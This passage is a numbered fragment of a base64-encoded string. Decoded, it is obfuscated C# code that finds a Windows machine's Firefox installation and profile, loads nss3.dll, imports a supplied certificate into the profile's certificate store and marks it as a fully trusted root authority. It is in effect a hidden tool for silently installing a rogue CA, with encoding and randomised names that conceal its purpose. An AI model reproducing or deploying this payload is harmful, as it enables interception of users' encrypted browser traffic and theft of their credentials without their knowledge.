  95. "TE9BRCB8IE5TU19JTklUX05PUEsxMUZJTkFMSVpFIHwgTlNTX0lOSVRfUkVTRVJWRUQ7CgogICAgY29uc3Qgc3RyaW5nIFNFQ01P"+
  96. "RF9EQiA9ICJzZWNtb2QuZGIiOwogICAgLy9TdHJ1Y3R1cmVzCiAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlh"+
  97. "bCldCiAgICBwdWJsaWMgc3RydWN0IFNFQ0l0ZW0gCiAgICB7CiAgICAgICAgcHVibGljIHVpbnQgaVR5cGU7CiAgICAgICAgcHVi"+
  98. "bGljIEludFB0ciBiRGF0YTsKICAgICAgICBwdWJsaWMgdWludCBpRGF0YUxlbjsKICAgIH0KCiAgICBbU3RydWN0TGF5b3V0KExh"+
  99. "eW91dEtpbmQuU2VxdWVudGlhbCldCiAgICBwcml2YXRlIHN0cnVjdCBDZXJ0VHJ1c3RzCiAgICB7CiAgICAgICAgcHVibGljIGlu"+
  100. "dCBpU2l0ZTsKICAgICAgICBwdWJsaWMgaW50IGlFbWFpbDsKICAgICAgICBwdWJsaWMgaW50IGlTb2Z0OwogICAgfQoKICAgIHBy"+
  101. "aXZhdGUgZW51bSBTRUNDZXJ0VXNhZ2UKICAgIHsKICAgICAgICBjZXJ0VXNhZ2VTU0xDbGllbnQgPSAwLAogICAgICAgIGNlcnRV"+
  102. "c2FnZVNTTFNlcnZlciA9IDEsCiAgICAgICAgY2VydFVzYWdlU1NMU2VydmVyV2l0aFN0ZXBVcCA9IDIsCiAgICAgICAgY2VydFVz"+
  103. "YWdlU1NMQ0EgPSAzLAogICAgICAgIGNlcnRVc2FnZUVtYWlsU2lnbmVyID0gNCwKICAgICAgICBjZXJ0VXNhZ2VFbWFpbFJlY2lw"+
  104. "aWVudCA9IDUsCiAgICAgICAgY2VydFVzYWdlT2JqZWN0U2lnbmVyID0gNiwKICAgICAgICBjZXJ0VXNhZ2VVc2VyQ2VydEltcG9y"+
  105. "dCA9IDcsCiAgICAgICAgY2VydFVzYWdlVmVyaWZ5Q0EgPSA4LAogICAgICAgIGNlcnRVc2FnZVByb3RlY3RlZE9iamVjdFNpZ25l"+
  106. "ciA9IDksCiAgICAgICAgY2VydFVzYWdlU3RhdHVzUmVzcG9uZGVyID0gMTAsCiAgICAgICAgY2VydFVzYWdlQW55Q0EgPSAxMQog"+
  107. "ICAgfQoJW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldCiAgICBwcml2YXRlIGRlbGVn"+
  108. "YXRlIGludCBPTGVsKHN0cmluZyBzQ29uZmlnRGlyLCBzdHJpbmcgY2VydFByZWZpeCwgc3RyaW5nIGtleVByZWZpeCwgc3RyaW5n"+
  109. "IHNlY01vZE5hbWUsIHVpbnQgZmxhZ3MpOwoKICAgIHByaXZhdGUgaW50IEVsWXFCYVhMd0hucU8oc3RyaW5nIHNDb25maWdEaXIs"+
  110. "IHN0cmluZyBjZXJ0UHJlZml4LCBzdHJpbmcga2V5UHJlZml4LCBzdHJpbmcgc2VjTW9kTmFtZSwgdWludCBmbGFncykKICAgIHsK"+
  111. "ICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyhDUHksICJOU1NfSW5pdGlhbGl6ZSIpOwogICAgICAgIE9MZWwg"+
  112. "cHRyID0gKE9MZWwpTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKE9MZWwpKTsKICAg"+
  113. "ICAgICByZXR1cm4gcHRyKHNDb25maWdEaXIsIGNlcnRQcmVmaXgsIGtleVByZWZpeCwgc2VjTW9kTmFtZSwgZmxhZ3MpOwogICAg"+
  114. "fQoKICAgIFtVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHJpdmF0ZSBkZWxl"+
  115. "Z2F0ZSBJbnRQdHIgd0tZVk96RVVaV050blgoKTsKICAgIHByaXZhdGUgSW50UHRyIGZ1TGZUdldZVEhzUmJPKCkKICAgIHsKICAg"+
  116. "ICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyhDUHksICJDRVJUX0dldERlZmF1bHRDZXJ0REIiKTsKICAgICAgICB3"+
  117. "S1lWT3pFVVpXTnRuWCBwdHIgPSAod0tZVk96RVVaV050blgpTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihw"+
  118. "UHJvYywgdHlwZW9mKHdLWVZPekVVWldOdG5YKSk7CiAgICAgICAgcmV0dXJuIHB0cigpOwogICAgfQoKICAgIFtVbm1hbmFnZWRG"+
  119. "dW5jdGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgUmVwKCk7"+
  120. "CiAgICBwcml2YXRlIEludFB0ciBoTlNpaVRCdndERVB2RSgpCiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0Fk"+
  121. "ZHJlc3MoQ1B5LCAiTlNTX1NodXRkb3duIik7CiAgICAgICAgUmVwIHB0ciA9IChSZXApTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1"+
  122. "bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKFJlcCkpOwogICAgICAgIHJldHVybiBwdHIoKTsKICAgIH0KCiAgICBbVW5tYW5h"+
  123. "Z2VkRnVuY3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0KICAgIHByaXZhdGUgZGVsZWdhdGUgaW50IE9zTHNk"+
  124. "TllLTk5GRnNtKEludFB0ciBjZXJ0ZGIsIGludCB1c2FnZSwgdWludCBuY2VydHMsIHJlZiBTRUNJdGVtW10gZGVyQ2VydHMsIHJl"+
  125. "ZiBJbnRQdHIgcmV0Q2VydHMsIHVpbnQga2VlcENlcnRzLCB1aW50IGNhT25seSwgSW50UHRyIG5pY2tuYW1lKTsKICAgIHByaXZh"+
  126. "dGUgaW50IHR5Rm9iaG1jUXhlRXYoSW50UHRyIGNlcnRkYiwgaW50IHVzYWdlLCB1aW50IG5jZXJ0cywgcmVmIFNFQ0l0ZW1bXSBk"+
  127. "ZXJDZXJ0cywgcmVmIEludFB0ciByZXRDZXJ0cywgdWludCBrZWVwQ2VydHMsIHVpbnQgY2FPbmx5LCBJbnRQdHIgbmlja25hbWUp"+
  128. "CiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MoQ1B5LCAiQ0VSVF9JbXBvcnRDZXJ0cyIpOwogICAg"+
  129. "ICAgIE9zTHNkTllLTk5GRnNtIHB0ciA9IChPc0xzZE5ZS05ORkZzbSlNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2lu"+
  130. "dGVyKHBQcm9jLCB0eXBlb2YoT3NMc2ROWUtOTkZGc20pKTsKICAgICAgICByZXR1cm4gcHRyKGNlcnRkYiwgdXNhZ2UsIG5jZXJ0"+
  131. "cywgcmVmIGRlckNlcnRzLCByZWYgcmV0Q2VydHMsIGtlZXBDZXJ0cywgY2FPbmx5LCBuaWNrbmFtZSk7CiAgICB9CgogICAgcHJp"+
  132. "dmF0ZSBkZWxlZ2F0ZSBpbnQgU0ZOY09FKEludFB0ciBjZXJ0ZGIsIEludFB0ciBjZXJ0LCByZWYgQ2VydFRydXN0cyB0cnVzdCk7"+
  133. "CiAgICBwcml2YXRlIGludCBRZ3RKSyhJbnRQdHIgY2VydGRiLCBJbnRQdHIgY2VydCwgcmVmIENlcnRUcnVzdHMgdHJ1c3QpCiAg"+
  134. "ICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MoQ1B5LCAiQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QiKTsKICAg"+
  135. "ICAgICBTRk5jT0UgcHRyID0gKFNGTmNPRSlNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBl"+
  136. "b2YoU0ZOY09FKSk7CiAgICAgICAgcmV0dXJuIHB0cihjZXJ0ZGIsIGNlcnQsIHJlZiB0cnVzdCk7CiAgICB9CgogICAgW1VubWFu"+
  137. "YWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldCiAgICBwdWJsaWMgZGVsZWdhdGUgaW50IHFlVHBa"+
  138. "bE5ZZGpZeShJbnRQdHIgY2VydCwgdWludCBuY2VydHMpOwogICAgcHJpdmF0ZSBpbnQgRUpZeFJNYW1meXVEKEludFB0ciBjZXJ0"+
  139. "LCB1aW50IG5jZXJ0cykKICAgIHsKICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyhDUHksICJDRVJUX0Rlc3Ry"+
  140. "b3lDZXJ0QXJyYXkiKTsKICAgICAgICBxZVRwWmxOWWRqWXkgcHRyID0gKHFlVHBabE5ZZGpZeSlNYXJzaGFsLkdldERlbGVnYXRl"+
  141. "Rm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YocWVUcFpsTllkall5KSk7CiAgICAgICAgcmV0dXJuIHB0cihjZXJ0LCBu"+
  142. "Y2VydHMpOwogICAgfQoKCXByaXZhdGUgSW50UHRyIENQeSA9IEludFB0ci5aZXJvOwoKCXB1YmxpYyBCb29sZWFuIHV3QXFLS1Ju"+
  143. "d3ZhRGxpKFN0cmluZyBzQ2VydCl7CiAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoImtFQ1NT"+
  144. "bmFOZCBTdGFydC4gUHJvY2VzcyB7MH0tYml0IixJbnRQdHIuU2l6ZSAqIDgpKTsKCQlTdHJpbmcgc1Byb2ZpbGUgPSBHZXRQcm9m"+
  145. "aWxlKCk7CiAgICAgICAgaWYgKFN0cmluZy5Jc051bGxPckVtcHR5KHNQcm9maWxlKSkKICAgICAgICB7CiAgICAgICAgICAgIFN5"+
  146. "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUHJvZmlsZSBub3QgZm91bmQiKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAg"+
  147. "ICAgIH0KICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlByb2ZpbGUgcGF0aD0iK3NQcm9maWxlKTsKICAgICAgICBi"+
  148. "eXRlW10gYkNlcnQgPSBHZXRDZXJ0QXNCeXRlQXJyYXkoc0NlcnQpOwogICAgICAgIEludFB0ciBpcENlcnQgPSBNYXJzaGFsLkFs"+
  149. "bG9jSEdsb2JhbChiQ2VydC5MZW5ndGgpOwogICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVW5wYWNrIGNlcnQgT0si"+
  150. "KTsKCQl0cnkKICAgICAgICB7CiAgICAgICAgICAgIERpcmVjdG9yeUluZm8gZGlJbnN0YWxsUGF0aCA9IEdldElQKCk7CiAgICAg"+
  151. "ICAgICAgIGlmIChkaUluc3RhbGxQYXRoID09IG51bGwpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25z"+
  152. "b2xlLldyaXRlTGluZSgiZGlJbnN0YWxsUGF0aCBpcyBudWxsIik7CiAgICAgICAgICAgICAgICBTdHJpbmcgZmZleGUgPSBAIkM6"+
  153. "XFByb2dyYW0gRmlsZXNcTW96aWxsYSBGaXJlZm94XGZpcmVmb3guZXhlIjsKICAgICAgICAgICAgICAgIGlmIChGaWxlLkV4aXN0"+
  154. "cyhmZmV4ZSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZGlJbnN0YWxsUGF0aCA9IG5ldyBEaXJlY3Rv"+
  155. "cnlJbmZvKFBhdGguR2V0RGlyZWN0b3J5TmFtZShmZmV4ZSkpOwogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldy"+
  156. "aXRlTGluZSgiUGF0aCBmb3VuZDogIitQYXRoLkdldERpcmVjdG9yeU5hbWUoZmZleGUpKTsKICAgICAgICAgICAgICAgIH0KICAg"+
  157. "ICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBmZmV4ZSA9IEAiQzpcUHJvZ3Jh"+
  158. "bSBGaWxlcyAoeDg2KVxNb3ppbGxhIEZpcmVmb3hcZmlyZWZveC5leGUiOwogICAgICAgICAgICAgICAgICAgIGlmIChGaWxlLkV4"+
  159. "aXN0cyhmZmV4ZSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBkaUluc3RhbGxQYXRoID0g"+
  160. "bmV3IERpcmVjdG9yeUluZm8oUGF0aC5HZXREaXJlY3RvcnlOYW1lKGZmZXhlKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIFN5"+
  161. "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUGF0aCBmb3VuZDogIitQYXRoLkdldERpcmVjdG9yeU5hbWUoZmZleGUpKTsKICAgICAg"+
  162. "ICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgU3RyaW5nIHNDdXJyZW50"+
  163. "RGlyZWN0b3J5ID0gRGlyZWN0b3J5LkdldEN1cnJlbnREaXJlY3RvcnkoKTsKICAgICAgICAgICAgRGlyZWN0b3J5LlNldEN1cnJl"+
  164. "bnREaXJlY3RvcnkoZGlJbnN0YWxsUGF0aC5GdWxsTmFtZSk7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgi"+
  165. "SW5zdGFsbCBwYXRoPSIrZGlJbnN0YWxsUGF0aC5GdWxsTmFtZSk7CiAgICAgICAgICAgIGZvcmVhY2goRmlsZUluZm8gZmlEbGwg"+
  166. "aW4gZGlJbnN0YWxsUGF0aC5HZXRGaWxlcygiKi5kbGwiKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKGZpRGxs"+
  167. "Lk5hbWUuRXF1YWxzKCJicmVha3BhZGluamVjdG9yLmRsbCIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAg"+
  168. "ICAgICAgICAgICAgICBPR0pJQmNSZksoZmlEbGwuRnVsbE5hbWUpOwogICAgICAgICAgICAgICAgfWNhdGNoIChFeGNlcHRpb24g"+
  169. "ZXgpewogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJ7MH0gezF9IHsy"+
  170. "fSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3RhY2tUcmFjZSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9"+
  171. "CiAgICAgICAgICAgIENQeSA9IE9HSklCY1JmSyhkaUluc3RhbGxQYXRoLkZ1bGxOYW1lICsgIlxcbnNzMy5kbGwiKTsKICAgICAg"+
  172. "ICAgICAgaWYgKENQeS5FcXVhbHMoSW50UHRyLlplcm8pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29u"+
  173. "c29sZS5Xcml0ZUxpbmUoIkZpcmVmb3ggaW5zdGFsbCBkaXJlY3Rvcnkgbm90IGZvdW5kIik7CiAgICAgICAgICAgICAgICByZXR1"+
  174. "cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJJbml0IGRsbHMgT0si"+
  175. "KTsKICAgICAgICAgICAgRGlyZWN0b3J5LlNldEN1cnJlbnREaXJlY3Rvcnkoc0N1cnJlbnREaXJlY3RvcnkpOwogICAgICAgICAg"+
  176. "ICAvL0luaXQgY2VydAogICAgICAgICAgICBNYXJzaGFsLkNvcHkoYkNlcnQsIDAsIGlwQ2VydCwgYkNlcnQuTGVuZ3RoKTsKICAg"+
  177. "ICAgICAgICAgU0VDSXRlbSBDZXJ0SXRlbSA9IG5ldyBTRUNJdGVtKCk7CiAgICAgICAgICAgIENlcnRJdGVtLmlUeXBlID0gMzsK"+
  178. "ICAgICAgICAgICAgQ2VydEl0ZW0uYkRhdGEgPSBpcENlcnQ7CiAgICAgICAgICAgIENlcnRJdGVtLmlEYXRhTGVuID0gKHVpbnQp"+
  179. "YkNlcnQuTGVuZ3RoOwogICAgICAgICAgICBTRUNJdGVtW10gYUNlcnRJdGVtID0gbmV3IFNFQ0l0ZW1bMV07CiAgICAgICAgICAg"+
  180. "IGFDZXJ0SXRlbVswXSA9IENlcnRJdGVtOwoKICAgICAgICAgICAgQ2VydFRydXN0cyBDZXJ0VHJ1c3QgPSBuZXcgQ2VydFRydXN0"+
  181. "cygpOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaVNpdGUgPSAweDEwOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaUVtYWlsID0gMHgx"+
  182. "MDsKICAgICAgICAgICAgQ2VydFRydXN0LmlTb2Z0ID0gMHgxMDsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5l"+
  183. "KCJJbml0IGNlcnQgT0siKTsKICAgICAgICAgICAgLy9FbmQgaW5pdCBjZXJ0CiAgICAgICAgICAgIGludCBzdGF0dXMgPSBFbFlx"+
  184. "QmFYTHdIbnFPKCJzcWw6IitzUHJvZmlsZSwgIiIsICIiLCBTRUNNT0RfREIsIE5TU19JTklUX09QVElNSVpFU1BBQ0UpOwogICAg"+
  185. "ICAgICAgICBpZiAoc3RhdHVzICE9IG9nUk1HWlUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xl"+
  186. "LldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJOU1NfSW5pdFJlYWRXcml0ZSBFUlJPUi4gU3RhdHVzOiAweHswOlh9O0xhc3QgZXJy"+
  187. "b3I6IDB4ezA6WH0iLCBzdGF0dXMsIE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOwogICAgICAgICAgICAgICAgcmV0dXJu"+
  188. "IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEludFB0ciBiZCA9IGZ1TGZUdldZVEhzUmJPKCk7CiAgICAgICAgICAg"+
  189. "IGlmIChiZCA9PSBJbnRQdHIuWmVybykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVM"+
  190. "aW5lKCJDRVJUX0dldERlZmF1bHRDZXJ0REIgRmFpbGVkIik7CiAgICAgICAgICAgICAgICBoTlNpaVRCdndERVB2RSgpOwogICAg"+
  191. "ICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGlu"+
  192. "ZSgiQ0VSVF9HZXREZWZhdWx0Q2VydERCIE9LIik7CiAgICAgICAgICAgIEludFB0ciBDZXJ0VG9JbXBvcnQgPSBuZXcgSW50UHRy"+
  193. "KCk7CiAgICAgICAgICAgIEludFB0cltdIGFDZXJ0VG9JbXBvcnQgPSBuZXcgSW50UHRyWzFdOwogICAgICAgICAgICBzdGF0dXMg"+
  194. "PSB0eUZvYmhtY1F4ZUV2KGJkLCAxMSwgMSwgcmVmIGFDZXJ0SXRlbSwgcmVmIENlcnRUb0ltcG9ydCwgMSwgMCwgSW50UHRyLlpl"+
  195. "cm8pOwogICAgICAgICAgICBpZiAoc3RhdHVzICE9IG9nUk1HWlUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3Rl"+
  196. "bS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJDRVJUX0ltcG9ydENlcnRzIEVSUk9SLiBTdGF0dXM6IDB4ezA6WH07"+
  197. "TGFzdCBlcnJvcjogMHh7MDpYfSIsIHN0YXR1cywgTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpKSk7CiAgICAgICAgICAgICAg"+
  198. "ICBoTlNpaVRCdndERVB2RSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAg"+
  199. "IFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiQ0VSVF9JbXBvcnRDZXJ0cyBPSyIpOwogICAgICAgICAgICBNYXJzaGFsLkNvcHko"+
  200. "Q2VydFRvSW1wb3J0LCBhQ2VydFRvSW1wb3J0LCAwLCAxKTsKICAgICAgICAgICAgc3RhdHVzID0gUWd0SksoYmQsIGFDZXJ0VG9J"+
  201. "bXBvcnRbMF0sIHJlZiBDZXJ0VHJ1c3QpOwogICAgICAgICAgICBpZiAoIHN0YXR1cyAhPSBvZ1JNR1pVKSAKICAgICAgICAgICAg"+
  202. "ewogICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoIkNFUlRfQ2hhbmdlQ2VydFRy"+
  203. "dXN0IEVSUk9SLiBTdGF0dXM6IDB4ezA6WH07TGFzdCBlcnJvcjogMHh7MDpYfSIsIHN0YXR1cywgTWFyc2hhbC5HZXRMYXN0V2lu"+
  204. "MzJFcnJvcigpKSk7CiAgICAgICAgICAgICAgICBoTlNpaVRCdndERVB2RSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNl"+
  205. "OwogICAgICAgICAgICB9OwogICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkNFUlRfQ2hhbmdlQ2VydFRydXN0"+
  206. "IE9LIik7CiAgICAgICAgICAgIEVKWXhSTWFtZnl1RChDZXJ0VG9JbXBvcnQsIDEpOwogICAgICAgICAgICBTeXN0ZW0uQ29uc29s"+
  207. "ZS5Xcml0ZUxpbmUoIkFkZCBjZXJ0IE9LIik7CiAgICAgICAgfQogICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpewogICAgICAg"+
  208. "ICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiezB9IHsxfSB7Mn0iLCBleC5Tb3VyY2UsIGV4Lk1l"+
  209. "c3NhZ2UsIGV4LlN0YWNrVHJhY2UpKTsKICAgICAgICB9CiAgICAgICAgZmluYWxseQogICAgICAgIHsKICAgICAgICAgICAgaE5T"+
  210. "aWlUQnZ3REVQdkUoKTsKICAgICAgICB9CgkJcmV0dXJuIHRydWU7Cgl9Cglwcml2YXRlIFN0cmluZyBHZXRQcm9maWxlKCkKICAg"+
  211. "IHsKICAgICAgICBTdHJpbmcgRkZQcm9maWxlID0gUGF0aC5Db21iaW5lKEVudmlyb25tZW50LkdldEVudmlyb25tZW50VmFyaWFi"+
  212. "bGUoIkFQUERBVEEiKSwgQCJNb3ppbGxhXEZpcmVmb3hcUHJvZmlsZXMiKTsKICAgICAgICBpZiAoRGlyZWN0b3J5LkV4aXN0cyhG"+
  213. "RlByb2ZpbGUpKQogICAgICAgIHsKICAgICAgICAgICAgaWYgKERpcmVjdG9yeS5HZXREaXJlY3RvcmllcyhGRlByb2ZpbGUsICIq"+
  214. "LmRlZmF1bHQiKS5MZW5ndGggPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gRGlyZWN0b3J5LkdldERp"+
  215. "cmVjdG9yaWVzKEZGUHJvZmlsZSwgIiouZGVmYXVsdCIpWzBdOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVy"+
  216. "biAiIjsKICAgIH0KCXB1YmxpYyBieXRlW10gR2V0Q2VydEFzQnl0ZUFycmF5KFN0cmluZyBzQ2VydCkKICAgIHsKICAgICAgICB0"+
  217. "cnkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBDb252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoc0NlcnQpOwogICAgICAgIH0K"+
  218. "ICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KXsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5G"+
  219. "b3JtYXQoInswfSB7MX0gezJ9IiwgZXguU291cmNlLCBleC5NZXNzYWdlLCBleC5TdGFja1RyYWNlKSk7CiAgICAgICAgfQogICAg"+
  220. "ICAgIHJldHVybiBudWxsOwogICAgfQoJcHJpdmF0ZSBEaXJlY3RvcnlJbmZvIEdldElQKCkKICAgIHsKICAgICAgICBEaXJlY3Rv"+
  221. "cnlJbmZvIGZwID0gbnVsbDsKICAgICAgICAvLyBnZXQgZmlyZWZveCBwYXRoIGZyb20gcmVnaXN0cnkKICAgICAgICAvLyB3ZSds"+
  222. "bCBzZWFyY2ggdGhlIDMyYml0IGluc3RhbGwgbG9jYXRpb24KICAgICAgICBSZWdpc3RyeUtleSBsb2NhbE1hY2hpbmUxID0gUmVn"+
  223. "aXN0cnkuTG9jYWxNYWNoaW5lLk9wZW5TdWJLZXkoQCJTT0ZUV0FSRVxNb3ppbGxhXE1vemlsbGEgRmlyZWZveCIsIGZhbHNlKTsK"+
  224. "ICAgICAgICAvLyBhbmQgbGV0cyB0cnkgdGhlIDY0Yml0IGluc3RhbGwgbG9jYXRpb24ganVzdCBpbiBjYXNlCiAgICAgICAgUmVn"+
  225. "aXN0cnlLZXkgbG9jYWxNYWNoaW5lMiA9IFJlZ2lzdHJ5LkxvY2FsTWFjaGluZS5PcGVuU3ViS2V5KEAiU09GVFdBUkVcV293NjQz"+
  226. "Mk5vZGVcTW96aWxsYVxNb3ppbGxhIEZpcmVmb3giLCBmYWxzZSk7CgogICAgICAgIGlmIChsb2NhbE1hY2hpbmUxICE9IG51bGwp"+
  227. "CiAgICAgICAgewogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nW10gaW5zdGFsbGVk"+
  228. "VmVyc2lvbnMgPSBsb2NhbE1hY2hpbmUxLkdldFN1YktleU5hbWVzKCk7CiAgICAgICAgICAgICAgICAvLyB3ZSdsbCB0YWtlIHRo"+
  229. "ZSBmaXJzdCBpbnN0YWxsZWQgdmVyc2lvbiwgcGVvcGxlIG5vcm1hbGx5IG9ubHkgaGF2ZSBvbmUKICAgICAgICAgICAgICAgIGlm"+
  230. "IChpbnN0YWxsZWRWZXJzaW9ucy5MZW5ndGggPT0gMCkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgSW5kZXhPdXRPZlJh"+
  231. "bmdlRXhjZXB0aW9uKCJObyBpbnN0YWxscyBvZiBmaXJlZm94IHJlY29yZGVkIGluIGl0cyBrZXkuIik7CgogICAgICAgICAgICAg"+
  232. "ICAgUmVnaXN0cnlLZXkgbWFpbkluc3RhbGwgPSBsb2NhbE1hY2hpbmUxLk9wZW5TdWJLZXkoaW5zdGFsbGVkVmVyc2lvbnNbMF0p"+
  233. "OwoKICAgICAgICAgICAgICAgIC8vIGdldCBpbnN0YWxsIGRpcmVjdG9yeQogICAgICAgICAgICAgICAgc3RyaW5nIGluc3RhbGxT"+
  234. "dHJpbmcgPSAoc3RyaW5nKW1haW5JbnN0YWxsLk9wZW5TdWJLZXkoIk1haW4iKS5HZXRWYWx1ZSgiSW5zdGFsbCBEaXJlY3Rvcnki"+
  235. "LCBudWxsKTsKCiAgICAgICAgICAgICAgICBpZiAoaW5zdGFsbFN0cmluZyA9PSBudWxsKQogICAgICAgICAgICAgICAgICAgIHRo"+
  236. "cm93IG5ldyBOdWxsUmVmZXJlbmNlRXhjZXB0aW9uKCJJbnN0YWxsIHN0cmluZyB3YXMgbnVsbCIpOwoKICAgICAgICAgICAgICAg"+
  237. "IGZwID0gbmV3IERpcmVjdG9yeUluZm8oaW5zdGFsbFN0cmluZyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4"+
  238. "Y2VwdGlvbiBleCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5G"+
  239. "b3JtYXQoInswfSB7MX0gezJ9IiwgZXguU291cmNlLCBleC5NZXNzYWdlLCBleC5TdGFja1RyYWNlKSk7CiAgICAgICAgICAgIH0K"+
  240. "ICAgICAgICB9CiAgICAgICAgZWxzZSBpZiAobG9jYWxNYWNoaW5lMiAhPSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAgdHJ5"+
  241. "CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0cmluZ1tdIGluc3RhbGxlZFZlcnNpb25zID0gbG9jYWxNYWNoaW5lMi5H"+
  242. "ZXRTdWJLZXlOYW1lcygpOwogICAgICAgICAgICAgICAgLy8gd2UnbGwgdGFrZSB0aGUgZmlyc3QgaW5zdGFsbGVkIHZlcnNpb24s"+
  243. "IHBlb3BsZSBub3JtYWxseSBvbmx5IGhhdmUgb25lCiAgICAgICAgICAgICAgICBpZiAoaW5zdGFsbGVkVmVyc2lvbnMuTGVuZ3Ro"+
  244. "ID09IDApCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEluZGV4T3V0T2ZSYW5nZUV4Y2VwdGlvbigiTm8gaW5zdGFsbHMg"+
  245. "b2YgZmlyZWZveCByZWNvcmRlZCBpbiBpdHMga2V5LiIpOwoKICAgICAgICAgICAgICAgIFJlZ2lzdHJ5S2V5IG1haW5JbnN0YWxs"+
